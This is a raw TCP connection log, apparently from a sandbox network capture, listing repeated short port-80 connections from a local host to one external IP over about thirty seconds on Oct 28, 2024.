Oct 28, 2024 16:01:29.744489908 CET	49188	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.745337963 CET	49188	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.751131058 CET	80	49188	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.851244926 CET	49189	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.857470036 CET	80	49189	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:29.857585907 CET	49189	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.857748032 CET	49189	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:29.863703966 CET	80	49189	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:30.526727915 CET	80	49189	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:30.526900053 CET	49189	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:30.527091980 CET	49189	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:30.532448053 CET	80	49189	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:30.629525900 CET	49190	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:30.635812044 CET	80	49190	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:30.635894060 CET	49190	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:30.636254072 CET	49190	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:30.643070936 CET	80	49190	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:31.300223112 CET	80	49190	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:31.300388098 CET	49190	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:31.300482035 CET	49190	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:31.306993008 CET	80	49190	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:31.409704924 CET	49191	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:31.415237904 CET	80	49191	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:31.415326118 CET	49191	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:31.415596962 CET	49191	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:31.421255112 CET	80	49191	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.080971003 CET	80	49191	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.081165075 CET	49191	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.081202030 CET	49191	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.086832047 CET	80	49191	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.189884901 CET	49192	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.195708036 CET	80	49192	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.195769072 CET	49192	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.198004961 CET	49192	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.205090046 CET	80	49192	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.842356920 CET	80	49192	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.842418909 CET	49192	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.857064962 CET	49192	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.862940073 CET	80	49192	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.990623951 CET	49193	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:32.998420954 CET	80	49193	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:32.998591900 CET	49193	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.020930052 CET	49193	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.027017117 CET	80	49193	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:33.643716097 CET	80	49193	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:33.643840075 CET	49193	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.654144049 CET	49193	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.659956932 CET	80	49193	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:33.749722958 CET	49194	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.755402088 CET	80	49194	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:33.755495071 CET	49194	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.755625963 CET	49194	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:33.761451960 CET	80	49194	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:34.421801090 CET	80	49194	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:34.421922922 CET	49194	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:34.422051907 CET	49194	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:34.427572012 CET	80	49194	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:34.529835939 CET	49195	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:34.535398006 CET	80	49195	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:34.535495996 CET	49195	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:34.535677910 CET	49195	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:34.541090965 CET	80	49195	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:35.208431005 CET	80	49195	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:35.208544970 CET	49195	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.208615065 CET	49195	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.213932037 CET	80	49195	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:35.309796095 CET	49196	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.315234900 CET	80	49196	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:35.315334082 CET	49196	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.315579891 CET	49196	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.321115017 CET	80	49196	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:35.956219912 CET	80	49196	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:35.956317902 CET	49196	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.960982084 CET	49196	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:35.966428041 CET	80	49196	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:36.254005909 CET	49197	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:36.259640932 CET	80	49197	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:36.259701967 CET	49197	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:36.262192011 CET	49197	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:36.267685890 CET	80	49197	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:36.902060032 CET	80	49197	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:36.902124882 CET	49197	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:36.902190924 CET	49197	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:36.909094095 CET	80	49197	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:37.010078907 CET	49198	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:37.017431021 CET	80	49198	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:37.017514944 CET	49198	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:37.017641068 CET	49198	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:37.024707079 CET	80	49198	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:37.661423922 CET	80	49198	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:37.661565065 CET	49198	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:37.661689997 CET	49198	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:37.667593002 CET	80	49198	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:37.759613991 CET	49199	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:38.793797016 CET	80	49199	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:38.793931961 CET	49199	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:38.794420004 CET	49199	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:38.799738884 CET	80	49199	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:39.581309080 CET	80	49199	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:39.581414938 CET	49199	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:39.586940050 CET	49199	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:39.593250036 CET	80	49199	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:39.799210072 CET	49200	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:39.804827929 CET	80	49200	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:39.804929018 CET	49200	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:39.805135012 CET	49200	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:39.811108112 CET	80	49200	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:40.461698055 CET	80	49200	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:40.461746931 CET	49200	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:40.461916924 CET	49200	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:40.467803955 CET	80	49200	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:40.566606998 CET	49201	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:40.572207928 CET	80	49201	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:40.572376966 CET	49201	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:40.572586060 CET	49201	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:40.578176022 CET	80	49201	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:41.214751959 CET	80	49201	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:41.214813948 CET	49201	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.214931965 CET	49201	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.221317053 CET	80	49201	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:41.315826893 CET	49202	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.321357965 CET	80	49202	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:41.321465015 CET	49202	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.321643114 CET	49202	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.327255011 CET	80	49202	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:41.962153912 CET	80	49202	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:41.962291002 CET	49202	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.962380886 CET	49202	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:41.967649937 CET	80	49202	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:42.067992926 CET	49203	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.073460102 CET	80	49203	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:42.073646069 CET	49203	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.073816061 CET	49203	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.079328060 CET	80	49203	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:42.706342936 CET	80	49203	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:42.706444025 CET	49203	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.709856033 CET	49203	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.715804100 CET	80	49203	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:42.813433886 CET	49204	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.818818092 CET	80	49204	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:42.818933010 CET	49204	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.819058895 CET	49204	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:42.824809074 CET	80	49204	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:43.465121031 CET	80	49204	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:43.465408087 CET	49204	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:43.465440989 CET	49204	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:43.471126080 CET	80	49204	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:43.562254906 CET	49205	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:43.567714930 CET	80	49205	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:43.567786932 CET	49205	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:43.568125010 CET	49205	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:43.573591948 CET	80	49205	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:44.209155083 CET	80	49205	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:44.209238052 CET	49205	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.209381104 CET	49205	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.214690924 CET	80	49205	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:44.310885906 CET	49206	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.317826033 CET	80	49206	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:44.317925930 CET	49206	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.318131924 CET	49206	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.323648930 CET	80	49206	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:44.985177994 CET	80	49206	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:44.985256910 CET	49206	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.985317945 CET	49206	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:44.990858078 CET	80	49206	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:45.199929953 CET	49207	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.205631971 CET	80	49207	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:45.205694914 CET	49207	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.208143950 CET	49207	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.213586092 CET	80	49207	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:45.849591017 CET	80	49207	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:45.849733114 CET	49207	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.849836111 CET	49207	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.856152058 CET	80	49207	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:45.949060917 CET	49208	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.954606056 CET	80	49208	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:45.954654932 CET	49208	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.954874992 CET	49208	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:45.960366011 CET	80	49208	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:46.595133066 CET	80	49208	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:46.595237970 CET	49208	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:46.595308065 CET	49208	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:46.600687027 CET	80	49208	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:46.698014021 CET	49209	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:46.703411102 CET	80	49209	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:46.703507900 CET	49209	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:46.703748941 CET	49209	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:46.709255934 CET	80	49209	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:47.348026037 CET	80	49209	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:47.348124027 CET	49209	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:47.348251104 CET	49209	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:47.353976011 CET	80	49209	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:47.446314096 CET	49210	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:47.451772928 CET	80	49210	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:47.451915979 CET	49210	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:47.452105045 CET	49210	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:47.457622051 CET	80	49210	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.098015070 CET	80	49210	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.098119020 CET	49210	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.098208904 CET	49210	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.104367971 CET	80	49210	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.213660002 CET	49211	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.219928980 CET	80	49211	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.220046997 CET	49211	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.231618881 CET	49211	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.237016916 CET	80	49211	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.853182077 CET	80	49211	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.853358984 CET	49211	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.853467941 CET	49211	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.860307932 CET	80	49211	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.959693909 CET	49212	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.965131044 CET	80	49212	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:48.965188980 CET	49212	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.965336084 CET	49212	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:48.971448898 CET	80	49212	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:49.602499962 CET	80	49212	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:49.602700949 CET	49212	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:49.602700949 CET	49212	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:49.608629942 CET	80	49212	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:49.708473921 CET	49213	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:49.714150906 CET	80	49213	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:49.714234114 CET	49213	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:49.714422941 CET	49213	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:49.719990015 CET	80	49213	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:50.385150909 CET	80	49213	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:50.385267019 CET	49213	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:50.385371923 CET	49213	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:50.390686035 CET	80	49213	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:50.488713026 CET	49214	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:50.494657040 CET	80	49214	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:50.494865894 CET	49214	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:50.495070934 CET	49214	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:50.500740051 CET	80	49214	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:51.137156010 CET	80	49214	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:51.137248993 CET	49214	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:51.153423071 CET	49214	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:51.160965919 CET	80	49214	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:51.695126057 CET	49215	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:51.701199055 CET	80	49215	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:51.701268911 CET	49215	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:51.701416016 CET	49215	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:51.707423925 CET	80	49215	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:52.347279072 CET	80	49215	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:52.347347975 CET	49215	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:52.347440958 CET	49215	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:52.352782011 CET	80	49215	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:52.454072952 CET	49216	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:52.459574938 CET	80	49216	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:52.459676981 CET	49216	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:52.459897995 CET	49216	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:52.465512991 CET	80	49216	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.110853910 CET	80	49216	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.110949993 CET	49216	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.111023903 CET	49216	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.116436005 CET	80	49216	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.218524933 CET	49217	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.223885059 CET	80	49217	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.223937988 CET	49217	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.224107027 CET	49217	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.229979992 CET	80	49217	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.869666100 CET	80	49217	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.869903088 CET	49217	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.870039940 CET	49217	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.875386953 CET	80	49217	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.967405081 CET	49218	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.972774029 CET	80	49218	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:53.972829103 CET	49218	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.972982883 CET	49218	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:53.978338957 CET	80	49218	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:54.617049932 CET	80	49218	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:54.617163897 CET	49218	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:54.791161060 CET	49218	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:54.797161102 CET	80	49218	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:54.889605045 CET	49219	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:54.895108938 CET	80	49219	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:54.895167112 CET	49219	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:54.895339012 CET	49219	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:54.901964903 CET	80	49219	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:55.533893108 CET	80	49219	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:55.534049034 CET	49219	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:55.534246922 CET	49219	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:55.539611101 CET	80	49219	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:55.636387110 CET	49220	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:55.643213034 CET	80	49220	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:55.643341064 CET	49220	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:55.643523932 CET	49220	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:55.648878098 CET	80	49220	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:56.314675093 CET	80	49220	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:56.314757109 CET	49220	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:56.314955950 CET	49220	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:56.320398092 CET	80	49220	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:56.416651964 CET	49221	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:56.422333956 CET	80	49221	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:56.422394037 CET	49221	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:56.422641993 CET	49221	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:56.428312063 CET	80	49221	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.070971012 CET	80	49221	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.071082115 CET	49221	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.071597099 CET	49221	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.076998949 CET	80	49221	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.180747986 CET	49222	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.186698914 CET	80	49222	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.186799049 CET	49222	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.186943054 CET	49222	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.192696095 CET	80	49222	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.828042984 CET	80	49222	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.828175068 CET	49222	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.830035925 CET	49222	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.835911989 CET	80	49222	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.936678886 CET	49223	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.942219019 CET	80	49223	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:57.942303896 CET	49223	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.945806026 CET	49223	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:57.951543093 CET	80	49223	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:58.582298040 CET	80	49223	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:58.582432032 CET	49223	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:58.582732916 CET	49223	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:58.588025093 CET	80	49223	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:58.678374052 CET	49224	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:58.683756113 CET	80	49224	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:58.683818102 CET	49224	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:58.684056997 CET	49224	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:58.689578056 CET	80	49224	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:59.333580971 CET	80	49224	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:59.333683014 CET	49224	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:59.333755016 CET	49224	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:59.339216948 CET	80	49224	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:59.442778111 CET	49225	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:59.448302031 CET	80	49225	46.173.214.102	192.168.2.22
Oct 28, 2024 16:01:59.448379040 CET	49225	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:59.448628902 CET	49225	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:01:59.453963041 CET	80	49225	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.093662977 CET	80	49225	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.093792915 CET	49225	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.093952894 CET	49225	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.099355936 CET	80	49225	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.191582918 CET	49226	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.197213888 CET	80	49226	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.197340965 CET	49226	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.197572947 CET	49226	80	192.168.2.22	46.173.214.102
